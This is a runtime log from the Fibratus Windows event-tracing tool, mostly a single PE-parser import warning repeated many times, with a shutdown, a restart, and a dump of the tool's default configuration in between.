+time=2025-11-11T14:48:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:20+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-11T14:48:21+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:235 +time=2025-11-11T14:48:22+01:00 level=info msg=stopping [System Registry Logger] trace processing source=etw/source.go:235 +time=2025-11-11T14:48:22+01:00 level=info msg=stopping [DNS Client Logger] trace processing source=etw/source.go:235 +time=2025-11-11T14:48:23+01:00 level=info msg=stopping [Kernel Audit API Calls Logger] trace processing source=etw/source.go:235 +time=2025-11-11T14:48:35+01:00 level=info msg=configuration file C:\Program Files\fibratus\config\fibratus.yml not found. Continuing with default settings... source=bootstrap/config.go:50 +time=2025-11-11T14:48:35+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:152 +time=2025-11-11T14:48:35+01:00 level=info msg=bootstrapping with pid 18784. Version: dev source=bootstrap/bootstrap.go:182 +time=2025-11-11T14:48:35+01:00 level=info msg=rendering config flags... + aggregator ..................... [ flush-period=>200ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ quiet-mode=>false sound=>true enabled=>true] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>false] mail=>[ to=>[] content-type=>text/html enabled=>false use-template=>true port=>25]] + api ............................ [ transport=>localhost:8080 timeout=>15s] + config-file .................... C:\Program Files\fibratus\config\fibratus.yml + debug-privilege ................ true + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\cmd\Rules\*] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\cmd\Rules\Macros\*]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + kevent ......................... [ serialize-handles=>false serialize-pe=>false serialize-images=>false serialize-threads=>false serialize-envs=>true] + kstream ........................ [ flush-interval=>1s enable-dns=>true enable-fileio=>true enable-image=>true blacklist=>[ events=>[] images=>[]] enable-audit-api=>true enable-net=>true enable-vamap=>true buffer-size=>512 enable-mem=>true max-buffers=>36 enable-thread=>true enable-registry=>true enable-handle=>false stack-enrichment=>true min-buffers=>16] + logging ........................ [ max-backups=>15 log-stdout=>true max-size=>100 formatter=>text level=>info max-age=>0] + output ......................... [ http=>[ enabled=>false tls-insecure-skip-verify=>false method=>POST endpoints=>[] enable-gzip=>false serializer=>json timeout=>5s] eventlog=>[ level=>info enabled=>false] elasticsearch=>[ servers=>[http://127.0.0.1:9200] template-name=>fibratus timeout=>5s sniff=>false index-name=>fibratus healthcheck-interval=>10s healthcheck=>true gzip-compression=>false trace-log=>false healthcheck-timeout=>5s enabled=>false flush-period=>1s bulk-workers=>1] amqp=>[ durable=>false url=>amqp://localhost:5672 exchange-type=>topic vhost=>/ passive=>false exchange=>fibratus tls-insecure-skip-verify=>false enabled=>false routing-key=>fibratus delivery-mode=>transient timeout=>5s] console=>[ template=> {{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Kparams }}) {{ .Callstack }} {{ .Sid }} format=>pretty enabled=>true]] + pe ............................. [ excluded-images=>[] read-symbols=>false read-sections=>false read-resources=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ kparams=>[] enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s skip-files=>true excluded-procs=>[] alert-via=>mail enabled=>false fastscan=>true alert-template=>[] excluded-files=>[]] source=bootstrap/bootstrap.go:183 +time=2025-11-11T14:48:36+01:00 level=info msg=system providers support detected source=etw/source.go:165 +time=2025-11-11T14:48:38+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:224 +time=2025-11-11T14:48:38+01:00 level=info msg=starting [System Registry Logger] trace processing source=etw/source.go:224 +time=2025-11-11T14:48:38+01:00 level=info msg=starting [DNS Client Logger] trace processing source=etw/source.go:224 +time=2025-11-11T14:48:38+01:00 level=info msg=starting [Kernel Audit API Calls Logger] trace processing source=etw/source.go:224 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:42+01:00 